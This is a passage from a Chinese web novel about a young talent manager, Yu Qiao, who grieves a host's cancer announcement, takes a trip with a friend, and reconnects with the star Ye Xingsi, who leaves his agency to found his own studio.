“我的姐姐妹妹们,你们已经非常美好了,不要为了上镜去过度苛求体态,不要节食减肥,不要糟蹋自己的身体。大胆去追求你们的梦想,不要被任何人以及婚育观念所束缚,你们本该熠熠生辉。 “帅哥哥帅弟弟们,不要变得千篇一律,不要为了事业牺牲太多的东西,不要急于取得成就,多陪陪家人和朋友,像个真正的男人那样要求自己。 “我先走一步啦,亲爱的朋友们,下次见!” 俞悄不知道自己的眼睛是从看到第几行开始朦胧模糊,鼻水突然落到屏幕上,把他自己吓了一跳,忙用纸巾擦掉,埋头用力洗了两把脸。 其实他和卡卡并不熟,仅有的合作也只是一起参与了一档真人秀。 但在入圈之前,俞悄更小、还在上中学的时候,就知道这位风格活泼的主持人。她几乎与圈内所有巅峰时期的明星都合作过,每个人不管年龄大小,都习惯喊她一声卡姐。 他想起在录制《塌房一》的时候,卡卡的杯子里总是装着苦澄澄的中药,那时候她认真地说过,最近身体出了些问题,在喝药调理。 谁能想到呢。 哪怕是俞悄陪着叶幸司,在《半地鸡毛》剧组死去活来时,听说了卡卡休长假去疗养的消息,也没想到会是这么严重的后果。 当时的卡卡自己也一定不会想到,会在短短几年后的春天,敲下这样一篇文字。 俞悄突然无比清晰地回想起,在《塌房一》的那个小院里,卡卡是所有嘉宾里,第一位主动且善意的喊着“幸司”,将镜头引向叶幸司的人。 那个当年籍籍无名的叶幸司。 他突然非常、非常的难过。 各方应该都看到卡卡的微博了,俞悄的手机开始不停的响。 他又抬眼望着镜子里的自己,看着自己泛红的鼻头和眼眶,摸了摸自己的喉咙。 公司胜诉的消息,在卡卡突然公布的喉癌微博之前,没有引起太大的水花。 蒋雨池因触及违约、诽谤、勒索未遂、蓄意抹黑、侵害他人名誉权等等条例,构成多项刑事责任。 左影帝的药下得无声且猛,直接把他送进去十年。 蒋雨池彻底完了。 还在关注这件事的网友们又掉头对他喊打喊杀,欣慰地感慨“谣言不攻自破”。 纪繁西长出了一口恶气,毫不掩饰自己的喜悦,跑到俞悄家里,毫不客气的从老爸酒柜里拽了瓶香槟。 俞悄杵着腮帮子窝在沙发里,翻看着卡卡评论区的留言,纪繁西的心情没有激荡起他丝毫的波澜。 你来我往,你起我落,迅速的崛起突然的陨落,河东河西红红黑黑,其实都挺没意思的。 “俞悄!” 纪繁西捏着两只酒杯,轻快地弹坐在他旁边,要与俞悄分享快乐。 俞悄怏怏地抬眼瞅瞅她,摇摇头:“没心情。” “又没心情了。”纪繁西对于这位外甥的扫兴感到无语,“从去年下半年开始就老嘟囔个脸,谁又惹着你了?” “你看卡卡的微博了吗?”俞悄问。 “看了。”纪繁西提起这个话题,也沉默了一下,“太突然了。她瞒得真死啊,之前一点风声都没听到。” “卡姐人蛮好的。”俞悄说。 “这一行里,人红是非多,是好是坏凭什么定呢。” 纪繁西显然知道些卡卡不好的八卦。 但她凑着俞悄的手机一起看评论区,抿了口酒,只轻轻叹出口气。这会儿也没必要再提了。 她自己喝完两杯酒,又去自斟自饮。 刚好,俞悄的手机上方在这时弹出叶幸司的消息。 叶幸司:卡卡给我发了条消息。 俞悄慢吞吞地打字:发什么了? 叶幸司:说她看到我前阵子的事了,让我别管狗叫,在这圈子里挣出头不容易,好好拍戏。 俞悄没忍住咧起嘴,同时鼻腔又涩了一下:卡姐这会儿也是直言不讳了。 叶幸司:最近什么时候有空,来家里吃饭。 “是不是带万洋没挑战?还是太累了,给你放个假吧。” 纪繁西坐回沙发里,打断了俞悄的回复。 “没有。”俞悄收起手机想了想,“我不想干了。”【你现在阅读的是魔蝎小说 moxiexs】 100-107 第101章 “怎么呢。” 纪繁西叠起腿,拖鞋在脚尖上一晃一晃的当啷着,打量俞悄。 “卡卡生病给你感伤成这样?” 倒不是因为卡卡。 俞悄本想这么回答,但这话一说,纪繁西还要继续问是因为什么,他却也说不出站得住脚的理由来。 因为确实没有原因。 这感觉有点儿类似于谈恋爱,突然发现喜欢爱上了,突然发现倦了放下了,都是一瞬间的决定。 “算是吧。”他不知道如何解释,干脆接下纪繁西的话,“触动挺大的,突然觉得人活着其实很脆弱。” “你是累着了。”纪繁西直截了当的做出判定,仿佛是一位心理专家,“给你放半个月假,你那边的人我暂时帮你接着,出去玩吧。” 俞悄张张嘴,纪繁西一摆手表示不想听。 “我没你那么多伤春悲秋,你姨姥走的时候我都只去磕个头就飞回来上班了。死一个跟你无关的人就不想上班,那这行二十年前我就干不下去了。” 她起身往酒柜前走:“先休息半个月,回来还是不想干再说。” “你确实是个生意人。”俞悄说。 “感谢赞美。”纪繁西优雅地转身,轻轻颔首。 俞悄接纳了纪繁西的建议,把工作一交接,坦然接受了这半个月的假期。 但他没出去玩。 假期批下来后,他先把手机上除微信以外,所有的社交平台通通卸载,在家先打了一通宵游戏,掉了十六颗星,然后怒火中烧地睡了一天一夜。 睡醒后,他昏头涨脑地靠在床头发怔,觉得自己应该是被气晕了。 第三天,他给小蜡打电话,问人在哪,一起去吃饭。 “找得真是时候。”小蜡在电话那头“乒乒乓乓”的收拾东西,“我正收拾东西,再过俩钟头去机场了。” “去哪。”俞悄正抱着小腿剪脚趾甲。 “上课。”小蜡说,“培训班。就是你带叶幸司去参加过的那个。” “啊。”俞悄问,“今年在哪举行?” 小蜡先猥琐地“嘿嘿”一声,才用上扬的语调回答:“重庆。” “重庆你嘿嘿什么,”俞悄朝手机上小蜡的头像瞥一眼,“有你相好儿?” “到川渝了还怕找不到相好儿吗。”小蜡说,“跟我一块去啊?” 小蜡这话分明是调侃,不过俞悄思考了两秒,也只用了两秒,就开口答应:“好啊。” 对于俞悄这爽快的答应,小蜡反复确认了好几遍,确定俞悄不是在跟他开玩笑,又提醒:“我的机票人家给报销,你跟着去玩得自费啊。” “一张机票钱还掏得出来。”俞悄已经开始收拾行李了,“把你航班发来,机场碰头吧。” “怎么这么潇洒,斑不上了?”小蜡迟疑着问,“还是叶幸司又惹你了?” “半个月的假。”俞悄笑起来,“出去玩玩。” 他很简单的收拾了几件换洗衣服,行李箱都没拉,拎着一个旅行袋就带着手机出了门。 不上班的日子确实潇洒。 培训班的招待俞悄享受不上,他自费买了机票,定了小蜡的同一家酒店。 他没有具体的游玩计划,纯粹的想一出是一出,换个城市呆着,跟着小蜡的节奏走。 “你跟我住一间也行。”小蜡说,“我又不会对你做什么。” “可拉到吧。”俞悄丝毫不考虑这个提议,“我怕耽误你领人回来做什么。” 小蜡捣他一拳,笑得直往座椅底下出溜。 依然是为期一周的培训时长,小蜡将今年的名单发给俞悄看,导师的名字他都知道,不过没什么太重量级的人物;学员有一半眼熟的,剩下一半都是名不见经传的新人。 总体来说,比起当年叶幸司去参加的那一期,今年的质量下滑得厉害。 “都这样。”小蜡跟俞悄有相同的感触,“活动啊,节目啊,都是最开始的时候风光,持续做下去,一届不如一届。” “毕竟这圈子里也就那些人。”俞悄说。 “是这个道理。”小蜡点点头,“听说主办方今年想请叶幸司。” 俞悄拉名单的手顿一下。 “但他没同意。” 俞悄“嗯”一声,挪挪屁股,舒适地窝进座椅里。 导师和学员质量不如从前,培训班的环境倒是比之前好。 带花园和游泳池的别墅酒店,上课的大礼堂装修得像西式教堂。俞悄在小蜡上课的时候混进去听了一节,分坐在礼堂两侧的学员一个个衣冠楚楚,像在参加一场隆重的婚礼。 “等以后你们工作了,走入职场,就明白上学的日子有多轻松。” 他坐在最后一排,听课听得津津有味,回想起这句从小到大每位老师都说过的话,便觉得果然时光如尿尿,他也到了怀念课堂的时候了。 很多学员都认识俞悄,下课时还有一些很年轻的新人来打招呼。 俞悄只是笑笑,找个借口就快步离开。 进了这个圈子就没有真正意义上的私生活,纪繁西的话也是对的。哪怕自己只是个小小的年轻经纪人。 小蜡没有课的时候,不需要在培训班里参与活动时,就带着俞悄去玩。 他像个地道的本地人,逛够重庆有意思的Gay吧和夜店,两张动车票就直奔成都,回老家似的一头扎进最热闹的酒吧。 俞悄以前就不怎么喜欢这种地方,来到川渝,才明白自己被周行东带着去的夜店已经算是规矩的了,这边的包容度确实无愧于网上那些流传的成都梗。 “那边俩哥们儿都快做起来了!”小蜡贴着俞悄的耳朵嘶吼,扬着下巴示意俞悄往角落的卡座看。 俞悄朝那边瞟一眼,两个衣着时髦的男孩亲得如胶似漆。 “小点声!”俞悄把他的脸推回去。 “你嗓门比我还大”小蜡来到这种地方就现原形,笑得骚包又勾人,“怎么样!馋不馋!我给你物色一个啊?!” “你自己怎么不找!”俞悄喊着问。 “我就那么饥渴?”小蜡理直气壮地喊回去,“哥们儿也挑人!” “我也是人!”俞悄气笑了。 小蜡虽然玩得花,但接连几天酒吧逛下来,俞悄发现他还真没有自己以为得那么随便。 他不会随便接受陌生人的邀约和搭讪,不喝别人的酒,看不上的人想来认识一下,他装聋作哑,眼神都不给。 比起和男人玩在一起,他更享受释放魅力的过程。 并且还没忘了保护俞悄这个愣头青,护着俞悄别被那些油手油脚的人占便宜。 不过在培训班结束的前一天,小蜡还是带着一位他精心甄选的伴侣,去外面开房去了。 第二天上午回到酒店,他给俞悄带了盒小蛋糕,餍足得像只偷腥的大猫。 “屁股开花了?”俞悄望着他打颤的腿,“都成罗圈了。” “太猛了,操。”小蜡“哎哟”一声栽在俞悄床上,“四次,刚我回来前还想要,被我一脚蹬床底下去了。” 俞悄坐在茶几前吃蛋糕,托着腮帮子盯着小蜡看。 “真的能满足吗,”他认真地问,“跟完全没有感情基础的人。” 小蜡转过脸来瞅着俞悄,估计是被伺候舒服了,难得没有对俞悄进行嘲讽,喷射毒液。 “对我来说可以。”他像躺下,屁股一挨床垫,又翻身继续趴着,“对你来说不行。” “我确实不太能接受。”俞悄指指自己进行补充,“只是对于我个人。” “知道。”小蜡明白他意思,“你唯一的优点就是分得清自己的事和别人的事,不拿自己的想法往别人头上套,搞道德绑架那一套。” “这么唯一吗。”俞悄无奈地翻起眼。 小蜡乐得直眯眼。 笑够了,他悠悠地重新开口:“但是也会有一些时候,觉得这种生活很没意思。” “比如呢。”俞悄问。 “比如现在。”小蜡的目光放空,语气也轻飘飘了,“身上舒服了,心里就空了。” “这会儿我不想做|爱,更想爱点什么。” “比起一起做|爱,现在我更想和一个让我喜欢的人,一起做做饭。” 俞悄垂着眼戳蛋糕,叶幸司的影子随着小蜡的每一句停顿,从他脑海中变换着形象冒出来。 休假之前叶幸司那条约他吃饭的微信,他到现在还没有回复。 “人嘛,就是贱。”小蜡继续说,“想是这么想,但我太明白我自己了。” “真要出来个人跟我爱来恨去生死纠缠的,没两天我就烦晕了。” 其实也还好。 俞悄在心里悄悄地反驳。 不愉快的经历总会被时间所稀释,留下的快乐远比不快乐要多。 小蜡开始拿起周行东举例子,这下换成了俞悄不想听。 他拿着手机逃到卫生间,借着洗漱来换取耳边的清净。 牙膏刚挤好,纪繁西的电话打了过来,响铃透着一股催命感。 “就给我销假了?”俞悄不情不愿地接起来,叼着牙刷呜呜噜噜地问。 “你俩商量好的?”纪繁西同时开口,语气里全是恼火。 “商量什么,”俞悄听得一头雾水,“我和谁?” “你那个叶大明星!要解约!”纪繁西“啪”地把电话挂了。 第102章 叶幸司和公司的合同,如果俞悄没记错的话,年限是10+10。 前面七年基本白瞎,叶幸司是从第十年开始大火,公司续签时想增加年限,叶幸司没同意。据说双方磨了挺久一阵儿,最后依然续了十年。 那时候俞悄已经和叶幸司掰了,不了解续约的合同有没有增改条款。 但不用想就可以肯定的一点是,公司不会轻易放叶幸司走,解约的条件一定高得吓人。 蒋雨池当时和公司签了五年约,还剩一年多时解约,解约金和种种费用叠加是一千万。 当然,他自己违约的条例太多了。 万洋的合同俞悄很清楚——如果在合同年限内由艺人提出解约,按照他的合同规格,仅仅基础解约费,就要按照剩余年限每年二百万来计算。 至于公司的投入成本、直接或间接的利益损失等等,还要另外叠算。 而按时间算下来,叶幸司和公司至少还有五年半的合同。 叶幸司接到俞悄的电话,开口第一句就是:“手机还用着呢?” 这是在阴阳那没得到回复的晚饭邀约。 他语气轻松,甚至还带一点儿愉快,搞得俞悄有点不好意思,干巴巴地咧咧嘴:“我很抱歉。” “我要解约的事你知道了?”叶幸司问。 俞悄“啊”一声。 “帮纪姐来留人吗。” “不是。”俞悄诚实地回答,“她咆哮一嗓子就挂了,是我自己想打。” 叶幸司很低的笑了一声,应该是能想象到纪繁西对俞悄咆哮的模样。 “等我一下。”他对俞悄说。 他那边有人说话,俞悄听到叶幸司把手机拿远,应了几句,随后传来开关门以及脚步声,叶幸司去到了室外,重新接上刚才的对话,问俞悄:“是在关心我吗。” 肯定句。 关心其实也谈不上。 俞悄只是对于叶幸司这个突然的决定感到意外——他自己都要离职的人了,此时此刻完全能够共情所有不想上班的人。 虽然叶幸司的解约,跟他想辞职一定不是相同的原因。 “我是好奇。”他向叶幸司坦白,“怎么突然要解约?” “合作理念不一样了。”叶幸司回答得很官方。 俞悄忍不住扬起眉毛:“我是记者吗?” “回头问你老姨吧。”叶幸司笑了一下,并不想多聊,反过来对俞悄说:“倒是你。” “我。”俞悄重复。 “纪姐冲我发火我才知道,”叶幸司问,“为什么不想干了?” 为什么呢。 十五天的假期已经虚度了三分之二,俞悄依然说不清具体的原因。 “是觉得我知道你要离职,所以才向公司提出……” 叶幸司略带揶揄的问题,被俞悄斩钉截铁的打断:“你想多了。” 俞悄猛猛搓脸,都不知道该替自己尴尬,还是替叶幸司尴尬。 他直接摊牌:“我就想知道你要赔多少钱,后续准备去哪家公司。” 叶幸司又笑了。 “秘密。”他对俞悄说,“一直对我好奇下去吧,俞悄。” 电话被挂断了。 他是真的心情不错,俞悄攥着手机瞪了会儿眼。 看来公司要钱还是要少了。 叶幸司解约的消息,为俞悄这个前助理招来一堆询问的消息和电话。 尽管他不明白为什么直到现在,和叶幸司有关系的事依然有人来问他,但俞悄休假的心思已经成功被磨没了,把那些社交软件全都下了回来。 不出所料,叶幸司解约的消息还没正式公布,但已经在网上流传开了。 “叶幸司要解约?”在床上拱着屁股的小蜡也刷到了,扯着嗓子问俞悄,“多少钱啊?” “不知道。”俞悄摁着手机从卫生间出来,“我得回公司。” “回去干嘛?”小蜡问,“有危机感了?” “什么危机感?”俞悄一愣。 “真的要从身边消失的危机感。”小蜡侧过身支着脑袋朝他挤眼,跟个杨贵妃似的。 俞悄的嘴张了又张,埋头去收拾行李:“先危机危机你的屁股吧!” 回来干嘛呢? 俞悄直到走出机场,回到自己熟悉的城市,也没有琢磨出答案。 他不承认小蜡所谓的“危机感”,可也不否认,叶幸司突然提出解约,让他有点没着没落的。 至少在外地没着没落。 踏进公司大门的那一瞬间,俞悄有些烦乱的内心,突然就和平时一样冷静了。 但纪繁西显然还没冷静下来。 “你还知道回来?!” 纪繁西看见突然出现的俞悄,直接表演了一出吹胡子瞪眼。 “哎,”俞悄痛苦地揉揉耳朵,先去给自己接水喝,“你应该是真到更年期了。” “我批准你俩地下恋了,”纪繁西拍拍桌子,“去让他打消解约的念头。” 俞悄手腕一抖,杯子里的水险些泼自己一身。 “有点基本的做人良知吧,纪经纪人。”他去给纪繁西的杯子也接上水,坐下来认真问,“到底因为什么解约?” “我要是知道就没那么大火了!” 纪繁西扬手推散桌上的一摞文件夹,一屁股坐进椅子里。 俞悄大概翻开几份文件看了看,基本都是在谈的剧本和商务,大荧幕小荧幕,大导演小导演,高奢品轻时尚……五花八门。 “他来跟我提解约的时候,我正在帮他谈黄疯子的新电影。” 纪繁西的声音突然变得委顿,俞悄抬眼望过去,只看到披头散发的头顶。 这个永远风风火火的女人在桌上支起手肘,用两只手腕抵着额头,很无力地垂着脑袋,头发乱草一样从她指缝间流下来。 “跟我说理念不合。”纪繁西瓮声瓮气的冷笑,“不是宁愿不要钱也让我给他找戏拍的时候了。” “其实他直接说其他公司条件更丰厚,我完全可以接受。” 纪繁西吸了吸鼻子。 “我不难受我养出来的艺人起外心,但这几年接二连三的事让我觉得……让我觉得……” “我是个很失败的经纪人。” 俞悄扣在文件夹上的食指轻轻一抽,不知哪根神经跳了一下,像是被纪繁西低落的语气拉扯到了。 不论以老姨的身份还是以经纪人的身份,从小到大,这是俞悄第一次看到纪繁西这副模样。 他想安慰些什么,可望着满桌让人窒息的剧本,一句话也说不出来。 第103章 纪繁西的失落来得滂沱又迅速,像夏天的雷阵雨,俞悄还在真字酌句组织语言,她已经一抹脸坐直身子,拽过电脑就开始敲键盘。 “好了。”她潇洒地一甩头发。 “好什么了?”俞悄莫名其妙地望着她。 “算账。”纪繁西盯着电脑的眼睛里映出闪烁的光斑,“算叶幸司要给公司交多少钱。” 真是顶级商人。 俞悄帮她把桌上的合同归拢好,起身打算回家。 “想得怎么样了?”纪繁西突然又问。 俞悄没反应过来,“啊?”了一声。 “离职。”纪繁西压下电脑屏幕,朝俞悄盯过来,“还辞吗?” “我假期还有五天呢。”俞悄护食似的捍卫自己的假期。 “知道。”纪繁西笑了。 “所以问你过几天还回来上班吗,还是现在就给你办离职。”她收回目光,键盘敲得“噼啪”响,“要走就直接走吧,没心思干留也是白留。” 这话是说给俞悄的,同时也是在嘲讽谁,傻子都能听出来。 让俞悄自己都觉得很有意思的是,直到得知叶幸司要解约前,他都坚定着要离职的心。 连离开公司后下一步要去哪玩儿他都想好了。 可叶幸司一解约,他突然改变了主意。 “不走了。”俞悄想了两秒,“突然又觉得这行有意思了。” 按照纪繁西的性格,俞悄这么想一出是一出,一会儿一个样,她高低得阴阳两句。 不过一场怒火像是把她的格局给烧开了——也可能是沉迷于算账,她得到准确回复就摆摆手示意俞悄可以走了,连个多余的表情都没给。 俞悄最后的五天假期并没能维持住。 不是公司催他上班,是他自己闲不住了。 在家熬油似的熬了两天,他实在无聊得受不了,刷着抖音和微博的文娱板块,总觉得自己脱节了似的。 假期的倒数第三天,他没等人喊,自己拎着小包回来上班了。 对于俞悄的归来,万洋是最开心的一位。 他嚷着让俞悄请他吃饭,补偿他这十来天的患得患失,还点名要吃烤鱼。 真来到烤鱼店,他只吃几块肉就把筷子撂了,抱着个果盘吃得不撒手。 “你要吃的烤鱼,这鱼那么老大。”俞悄就着米饭一个人解决完半面鱼,撑得直敲碗沿,“什么意思呢?” “我就想解个馋。”万洋笑得眯着眼,“要进组了,不敢多吃。” 还真是。 俞悄看看日子,年前叶幸司给万洋划得那个剧,月底就要进组了。 戏份挺多的一个男三,叶幸司又是主角。剧方刚官宣定角的时候,正赶上叶幸司与俞悄被爆料,万洋身为俞悄手底的艺人也被所谓的“后台论”使劲冲了一波。 “你那个剧本我还没细看过,准备得怎么样?”俞悄从手机里找合同和文档,顺手捏了一枚青提。 万洋直接把果盘全推过来给他。 “具体的剧本还没下来呢。”万洋压低声音往前凑凑,“小悄哥,叶老师还能拍吗?” “为什么不拍?”俞悄抬起眼。 “他不是在解约吗?”万洋说,“听说公司给他拿到的资源都要重新谈。” “两码事。”俞悄不想掺和,“你把你自己顾好就行。” 叶幸司解约的消息,在网上一天一个变。 什么样的揣测都有,说叶幸司与公司不合、说叶幸司与经纪人产生了重大纠纷、说叶幸司不装了摊牌了,捞够了内地,要去跟左槊发展了。 最离谱的还是那群邪门粉聚集地,他们认为叶幸司要解约一定和俞悄脱不开干系,还有人写了同人文章。 俞悄偷偷点开看了一眼,文中他和叶幸司第一章 还因爱生恨剑拔弩张,第二章吵着吵着就亲起来了,直接进入不堪入目的环节。 还是在俞悄办公室的办公桌上。 然而实际上,在确认了解约意向后,除了纪繁西感觉自己又喂出一头白眼狼,双方的态度都很友好。 叶幸司好说话到了法务部拟条款都有些不好意思:些许明显狮子大开口的账目,他几乎没有怎么拉扯,完全按照公司提出的金额来。 解约正式签订那天,公司发微博宣布了这个消息,祝愿叶幸司前程似锦。 叶幸司转发了这一条,配文:承蒙关照。 俞悄刚给两方各点一个赞,叶幸司的电话就在他手机上弹了出来。 “出来吃个饭。”他直接对俞悄说,“有事想和你聊。” “什么话电话里不能说?”俞悄躺在沙发上看电视,今天没什么事,他没去公司。 “不能。”叶幸司不讲道理,“发位置,我去接你。” 俞悄抻着懒腰坐起来:“我家。” “那你出来吧。”叶幸司说,“已经到了。” 不管是二十七线不舍得吃酒店泡面的时候,还是大红大紫如日中天的时候,叶幸司请俞悄吃饭,总习惯喊他去家里,自己做着吃。 就算去夜市或饭店,也是在他家附近。 春夏交接的傍晚温度最舒服,俞悄懒得换衣服折腾,蹋拉着着毛拖鞋,在睡衣外面套了件外套就晃了出去。 在车窗上敲了敲,他在后排与副驾之间犹豫一下,拉开副驾驶的车门坐进去。 叶幸司肉眼可见的心情很好,目光从俞悄的拖鞋上扫过去,牵起嘴角笑了下。 “赔了多少?”俞悄开门见山的问。 “前些年攒的老本,基本全还回去了。”叶幸司说。 俞悄刚扣好安全带,给自己调整好舒适的坐姿,听见这话一愣,盯着叶幸司猛地坐正起来。 “座椅张嘴咬你?”叶幸司挑起一边眉毛,眼里还带着笑。 “到底多少?”俞悄笑不出来。 叶幸司看他一会儿,用手势随意地比了个六。 俞悄并不清楚叶幸司如今的财力,这个数不管合不合理,平白就这么扔出去了,哪怕现在他是公司的人,也觉得心口一阵抽痛。 “为什么啊,突然解约。”俞悄实在不明白,“谁家条件那么好,五年你都等不了了?” “没有谁家。”叶幸司将车开出去,自在得好像花得不是他的钱。 “我问你什么呢?”俞悄越想越肉疼。 “不签公司了,我准备自己做工作室。”叶幸司转脸朝他望,“来帮我,俞悄。” 第104章 “然后呢?” 万洋把行李箱在后座放好,拉开副驾驶的门坐进来,问俞悄。 “你答应了吗?” 俞悄摇摇头:“没有。” 万洋瞅着他,眨眨眼,又咧了咧嘴。 叶幸司说出准备自己做工作室,俞悄没怎么惊讶,甚至有点意料之中的感觉——叶幸司既然宁愿多付违约金也要解约,肯定不会再想绑别的经纪公司。 以他那么自我的个性,自立门户单干太适合他了。 可听到后面那句,想让自己去帮忙,俞悄想都没想就拒绝了。 “我不知道为什么,你会有这种我仍是你附属品的错觉。” 他当时在车上就脱口而出,并且用一种很古怪的眼神打量着叶幸司。 “你离开公司,咱俩就连最后一丝关系也没有了,明白吗?” 叶幸司没生气,像俞悄对他的决定并不惊讶一样,他似乎也猜到了俞悄的反应。 “所以你的意思是,”他歪头望着俞悄,“喜欢和没关系的人一起吃饭?” 俞悄转身就去掰车门。 叶幸司笑了声,把俞悄摁回来坐好,一脚油门将车开出去了。 “那你们去吃啥好吃的了。”万洋听得津津有味。 “番茄炒蛋。”俞悄绷着脸,“把我拉去超市当苦力,搬了一堆油盐酱醋回家自己炒的。” “那我觉得我叶老师说得也在理。”万洋满眼揶揄,“你还是愿意和他吃饭。” “又成你叶老师了?”叶幸司竖起眼睛,“都懒得背刺了,直接面刺是吧?” “那人家给我角色了嘛。”万洋往座椅里出溜出溜,心情愉悦地眯着眼,“有奶就是娘。” “白眼狼!”俞悄给了他一肘子。 万洋这次进组,俞悄没再跟着去,只把人送到机场,交代了几句,让他在组里有什么事给自己打电话。 结果几天过去,万洋的电话没等来,叶幸司的电话先过来了。 “这次没跟着来?”他直接问俞悄。 “还能总跟。”俞悄有什么说什么,“公司一摊子事,我纪姐都闹心死了。” 叶幸司“嗯”一声,把电话挂了。 “神经病……”俞悄瞪了半天手机。 晚上万洋给他发自己戏装的照片,俞悄小心打听:“叶幸司没难为你吧?” “没有啊。”万洋奇怪地反问,“为什么问这个?” “没有就行。”俞悄放心了。 这颗心刚放一宿,第二天中午万洋就给他发微信控诉:叶老师把我盒饭的鸡腿夹走了! 还配了张图,牛皮纸包装的饭盒里,米饭上残存着鸡腿洇出的汤汁,配菜只有光秃秃的青菜叶和卤蛋。 俞悄气得脑门子直发晕。 他把图片转给叶幸司,饭都不吃了,两只手一起攥着手机打字:你抢人鸡腿干嘛?! 叶幸司几乎是秒回,等着他似的:心疼了? 俞悄:神经病吧?什么时候爱吃别人碗里的饭了? 叶幸司:我不够吃。 俞悄:你不够吃你找导演要去!毛病。 叶幸司:想你了。 俞悄:滚! 骂完叶幸司,俞悄让万洋把剧组详细地址发给他,要给他订饭。万洋又给拍一张盒饭照发过来:我去加餐啦。 看万洋的盒饭里两只大鸡腿,俞悄才浇灭心头的怒火,又去联系他们生活导演,要求剧组对每位演员公平对待。 第二天,万洋的鸡腿又被夹走了。 第三天是咖啡。 第四天又是鸡腿。 万洋进组的第五天中午,俞悄拎着一个大纸兜,以探班的名义,被生活导演领进了叶幸司的休息室。 “叶哥,今天还鸡腿?”万洋和叶幸司背对着门口,还穿着戏服,正举着相机给餐盒拍照,“会不会太刻意了?” “告你的状就行,往灯底下推点儿。”叶幸司还给他指导打光。 “我怕小悄哥真生气。”万洋把手机给他看,“加了个滤镜,这样行吗?” “嗯。”叶幸司点点头,“我都不怕你怕什么。” “有点阴招全使给我经济人了……”万洋嘀嘀咕咕的,“发过去了叶哥,腿儿给我夹回来吧。” 俞悄的手机在兜里震了两下,他铁青着脸拿出来看。 万洋:哥我的鸡腿[大哭][大哭] 万洋:[jpg.] “鸡腿好吃吗?”俞悄悠悠地问。 万洋一口饭刚挖嘴里,连咳带呛地回过头,对上俞悄的脸,愧疚得红着脸直笑。 “不是,哥,你还真……”他捣捣叶幸司,“真来了!” 俞悄都快气死了。 他把拎来的大纸兜往桌上一扔,满满一兜速食鸡腿倒了一桌子。 “吃吧,都是鸡腿。” 说着话,俞悄抬手指指万洋,给他比了个大拇指,然后看都没看叶幸司一眼,转身就走。 “哎呀,”万洋急了,“小悄哥!” 俞悄没理,梗着脖子往外走,身后一串脚步声,一只手拽上他的胳膊,把他扯了回去。 “给我滚!”俞悄用鼻子都能闻出是叶幸司,扭头就骂。 叶幸司笑着朝他“嘘”一声:“过来,有话跟你说。” “我跟你没话说!” 俞悄挣两下胳膊,没挣开,被叶幸司跟拖猪似的拖回自己的休息室。 万洋已经端着盒饭不知道溜哪去了,叶幸司把门一关,休息室里只剩下满桌子鸡腿。 “有意思没?”俞悄杵在房间中心瞪他,“你俩小孩啊?” “其实你都知道。”叶幸司站在他面前,眼里一直带着笑,“我不可能去吃他的饭。” 俞悄只重复:“有意思没?” “你就是想来。”叶幸司也不管他的质问,朝俞悄鼻头上刮一下,“这会儿也不想走。” 俞悄张张嘴,一拧身又去拽门。 这次拽住他的不是手,是叶幸司从身后揽上来的拥抱。 “真的想你。”他在俞悄耳后说,“大大方方的不好吗?” 俞悄挣胳膊蹬腿地把他挡开,指着那一桌鸡腿:“这还不大方?” “你吃饭了吗。”叶幸司又问。 “跟你有关系吗?”俞悄不走了,往椅子上一坐,“万洋去哪了?” “等会再管他。”叶幸司在他对面坐下,“我看上一个剧本,想买下来自己做。你来了正好,帮万洋把合同签了吧。” 第105章 烦人归烦人,身为万洋的经纪人,有和顶流一起拍戏的机会,俞悄拎个鸡腿跑这一趟就算来着了。 他让叶幸司先把剧本和角色大概说一遍,聊了会儿具体投资和制作的构想,在心里权衡一会儿,说:“我回去想想。” 说完,他起身就要往外走。 “去哪。”叶幸司又擒住他的手,叠着腿坐在座椅里,挑起眼皮盯他,“你现在很大牌啊,俞悄。” “而你现在没公司也没团队。”俞悄抖着手腕把胳膊抽出来,“我去看看万洋。” 叶幸司笑起来,这次终于没再拦人,但无比顺手的往俞悄后腰上拍了一巴掌。 俞悄反手抽回去,照着叶幸司的鞋无缝衔接踩了一脚。 万洋没有单独的休息间,俞悄找到他时,他正捧着餐盒坐在剧组角落,看工作人员做下午要拍的场景。 膝盖上还铺着剧本。 俞悄远远地看着他这个样子,脑海中冒出的全是曾经那个对拍戏同样真挚的身影。 他叹口气,想去找场务再要份饭,但已经被取完了,看见桌上还剩着水果,就拿了个橙子。 拿着橙子再去找万洋,要重新经过叶幸司休息室。 刚走到门口,横空伸出来一只手,把橙子给拿走了。 叶幸司很松弛的斜倚着门框,橙子被他随手抛起,再稳稳接住。 “估计挑个橙子去给他吃?”他望着俞悄,“知道我会看着你的一举一动,是吗?” “……我真没功夫陪你闹了叶幸司。” 俞悄今天的脸色就没红润过,一阵铁青一阵铁蓝的。 叶幸司自从解约,心情真的非常好,自己在这表演人格上身,做出这种神经病似的发言也一副带着笑的模样。 俞悄懒得理他,橙子也不要了,抬腿就走。 余光里的叶幸司抬了抬另一条胳膊,往他兜帽里扔了块东西。 “只给你一块,自己吃。” 俞悄梗着脖子头也不回地往前走,直到走到拐角,离开叶幸司的视线范畴,才反着手往后够。 摸出一块巧克力。 小气劲儿吧。 他抿着嘴撕开糖纸,塞嘴里一口给吃了。 对于背叛俞悄,和叶幸司组成鸡腿诈骗联盟这种行为,万洋本人给出的解释是:“我看你也挺乐在其中的……” “你再说一遍?”俞悄怀疑自己产生了幻听,“人话?” 万洋“嘻嘻”一笑,先起身去把吃完的餐盒扔掉,然后洗洗手漱漱口回来,碰碰俞悄的肩膀。 “其实是我感觉叶老师确实喜欢你。”他凑到俞悄耳边小声说,“你也没放下他。” “能别瞎感觉吗。”俞悄把他推一边去。 “而且叶老师说下部戏喊我一起拍。”万洋坦诚地说。 “这才是主要原因吧!”俞悄横着眼睛瞪他,万洋笑得直眯缝眼。 叶幸司感兴趣的那部剧,是一个年轻导演的原创剧本——在导演圈子里真的非常年轻,刚29岁,俞悄回去后认真地查了很久,这小导演之前是做编剧的,完全是个新人。 而他创作的这部剧,与其说是剧本,不如说更像一个个荒诞诡谲的脑洞。 至少从叶幸司发给他的剧本梗概来看,一共五个小故事,每个故事都短小独立,并不连贯。 第一个故事在写村里接连死掉几个老头,最后通过伏笔与细节,引导出他们共同的特点竟是都欺辱过留守儿童小红,立意还很鲜明;第二个故事突然就以类似《走近科学》节目的表现形式,写了一则都市神话。 剩下三个故事更是驴头不对马嘴,完全串联不上。 俞悄给叶幸司发消息问:单元剧? 叶幸司应该在休息,回得很快:差不多,一集一个故事。 俞悄:《十四夜谈》那样吗? 叶幸司:不,没有连贯。就是五个单独的故事。 俞悄:《九号秘事》和《黑镜》? 叶幸司:对。 这种形式,国内确实很少见。 